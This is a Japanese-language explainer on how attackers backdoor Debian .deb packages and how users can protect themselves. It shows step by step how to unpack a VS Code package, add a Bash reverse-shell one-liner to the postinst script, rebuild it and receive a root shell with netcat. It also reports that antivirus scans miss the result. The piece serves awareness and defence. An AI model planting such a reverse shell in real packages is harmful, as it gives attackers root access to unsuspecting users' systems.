DEBパッケージがどのようにバックドアされ、どのようにそれを検出するか
攻撃者がDEBファイルにパッケージされたスクリプトを変更して、あなたのPCに不正にアクセスできることをご存知ですか?ここでは、DEBパッケージがどのようにバックドア化されるかについて説明します。
重要なポイント
- DEBパッケージは簡単にバックドアを仕掛けることができ、ルート権限でインストールするときに攻撃者があなたのシステムに悪意のあるコードを注入することを許します。
- 感染したDEBパッケージは検出が難しく、アンチウイルスソフトウェアやVirusTotalなどのクラウドソリューションによりフラグ付けされない可能性があります。
- 自分を守るために、ランダムなサイトからDEBパッケージをダウンロードするのを避け、公式のダウンロードサイトやコミュニティで信頼されているサイトに従い、ネットワーク攻撃からLinuxシステムを保護するためにセキュリティツールのインストールを検討してください。
DEBファイルは、DebianベースのLinuxディストリビューションでソフトウェアを配布するための主要な形式であるソフトウェアパッケージです。
DEBパッケージをインストールするには、root権限を持つdpkgのようなパッケージマネージャを使う必要があります。攻撃者はこれを利用して、これらのパッケージにバックドアを注入します。dpkgや他のパッケージマネージャでそれらをインストールすると、悪意のあるコードも一緒に実行され、あなたのシステムが危険にさらされます。
DEBパッケージがどのようにバックドアされるか、そしてあなたがどのように自分自身を守ることができるかを正確に探ってみましょう。
DEBパッケージはどのようにバックドアが仕込まれるのか?
DEBパッケージがバックドアされる仕組みを理解する前に、DEBパッケージの中身を見てみましょう。デモンストレーションとして、公式のMicrosoftウェブサイトからMicrosoft Visual Studio CodeのDEBパッケージをダウンロードします。これは、LinuxにVS Codeをインストールしたい場合にダウンロードするのと同じパッケージです。
ダウンロード: Visual Studio Code
ターゲットパッケージのダウンロードが完了したので、次はそれを展開する時です。dpkg-debコマンドを使用して-Rフラグの後に内容を保存するパスを指定することでDEBパッケージを展開できます:
dpkg-deb -R <package_name> <path>これにより、VS Codeパッケージの内容が抽出されるはずです。
フォルダーに移動すると、複数のディレクトリが見つかりますが、私たちの関心はDEBIANディレクトリのみにあります。このディレクトリには、インストール時に管理者権限で実行されるメンテナンススクリプトが含まれています。すでに気付いているかもしれませんが、攻撃者はこのディレクトリ内のスクリプトを変更します。
デモンストレーションとして、postinstスクリプトを修正し、シンプルなワンライナーのBashリバースTCPシェルを追加します。名前が示すように、これはパッケージがシステムにインストールされた後に実行されるスクリプトです。
それには、シンボリックリンクの設定、依存関係の処理などの構成を最終化するコマンドが含まれています。インターネット上にはさまざまなリバースシェルがたくさんあります。それらのほとんどは同じように動作します。こちらがサンプルのリバースシェルのワンライナーです:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1コマンドの説明:
- bash: これはBashシェルを起動するコマンドです。
- -i: フラグはBashにインタラクティブモードで実行するよう指示し、リアルタイムのコマンド入出力を可能にします。
- <strong>>& /dev/tcp/ip/port:</strong> これは標準出力と標準エラーをネットワークソケットにリダイレクトし、本質的に<ip>と<port>へのTCP接続を確立します。
- 0>&1: これは入力と出力を同じ場所、つまりネットワークソケットにリダイレクトします。
未経験者にとって、リバースシェルとは、ターゲットのマシンで実行されると、攻撃者のマシンへの接続を開始するタイプのコードです。リバースシェルは、ファイアウォールの背後にあるマシンからトラフィックが生成されるため、ファイアウォールの制限を回避するのに優れた方法です。
修正されたスクリプトはこのようになります:
ご覧の通り、すべては同じですが、1行だけが追加されています。つまり、私たちのBashリバースシェルです。今、ファイルを.deb形式に再構築する必要があります。単にdpkgコマンドを--buildフラグとともに使用するか、dpkg-debを-bフラグと共に使用して、抽出された内容のパスを続けて指定してください:
dpkg --build <directory>
dpkg-deb -b <directory>現在、バックドアが仕込まれたDEBパッケージは悪意のあるサイトに出荷される準備が整いました。被害者がDEBパッケージを自分のシステムにダウンロードし、他の通常のパッケージと同様にインストールしているシナリオをシミュレートしてみましょう。
上のターミナルペインは被害者の視点で、下のターミナルペインは攻撃者の視点です。被害者はsudo dpkg -iを使ってパッケージをインストールしていて、攻撃者はLinuxのnetcatコマンドを使用して、着信接続を待っています。
インストールが完了するとすぐに、攻撃者がリバースシェル接続を取得し、被害者のシステムにルートアクセスを持っていることに気づきます。これで、DEBパッケージがどのようにバックドア化されるかがわかりました。では、どのように自分を守ることができるかを学びましょう。
DEBパッケージが悪意のあるものであるかどうかを検出する方法
感染したDEBパッケージが存在することを知った今、感染したものをどうやって見つけるか気になっていることでしょう。まず、ClamAVのようなLinux用のアンチウイルスソフトウェアを使用してみることができます。しかし、パッケージに対してClamAVのスキャンを実行したところ、悪意のあるものとしてフラグが立てられませんでした。以下がスキャンの結果です:
したがって、高度なウイルス対策ソリューションがない限り(それでもハッキングされない保証はありません)、悪意のあるDEBパッケージを検出するのは非常に難しいです。VirusTotalのようなクラウドソリューションを使ってみましょう:
ご覧のとおり、VirusTotalはこれに問題がないことを検出しませんでした。このような脅威から自分を守る唯一の方法は、未知のソースからファイルをダウンロードしない、常にファイルのハッシュを確認する、一般的に怪しいソフトウェアをインストールしないといった基本的なセキュリティ衛生を守ることです。
インターネットはそのような脅威で溢れています。データを失わずにサーフィンする唯一の方法は、用心して信頼できるサイトを閲覧することです。また、Linuxの場合、ダウンロードしているソフトウェアにAppImage版があるかどうかを確認してみることもお勧めします。なぜなら、それらは自己完結型であり、サンドボックス化できるため、システムとの接触を避けることができます。
ランダムなサイトからDEBパッケージをダウンロードしないでください!
DEBパッケージ自体は悪いものではありませんが、攻撃者はそれを簡単に武器化し、無防備なユーザーに送ることができます。実際に示されたように、DEBパッケージは簡単に開いて変更し、数少ないコマンドでカスタムコードを追加できるため、マルウェアを配信する一般的な経路となっています。
DEBパッケージにおける単純なバックドアですら、主要なアンチウイルスソリューションでは検出されません。したがって、最善の策は、安全策を講じてウェブをサーフィンする際には常識を持ち、常にソフトウェアは公式ダウンロードサイトまたはコミュニティで信頼されたサイトからのみダウンロードすることです。
セキュリティツールをインストールしてLinux PCを保護する
新しいまたは未知のサイトからDEBパッケージをインストールする際のセキュリティリスクを認識したので、新しいソフトウェアをインストールする際には注意が必要です。しかし、何をインストールするかに注意するだけでは不十分です。あなたのLinuxシステムもネットワーク攻撃の標的になり得るのです。
ネットワーク攻撃が発生した場合にあなたが安全であることを確保するために、ネットワークセキュリティツールのインストールを検討すべきです。







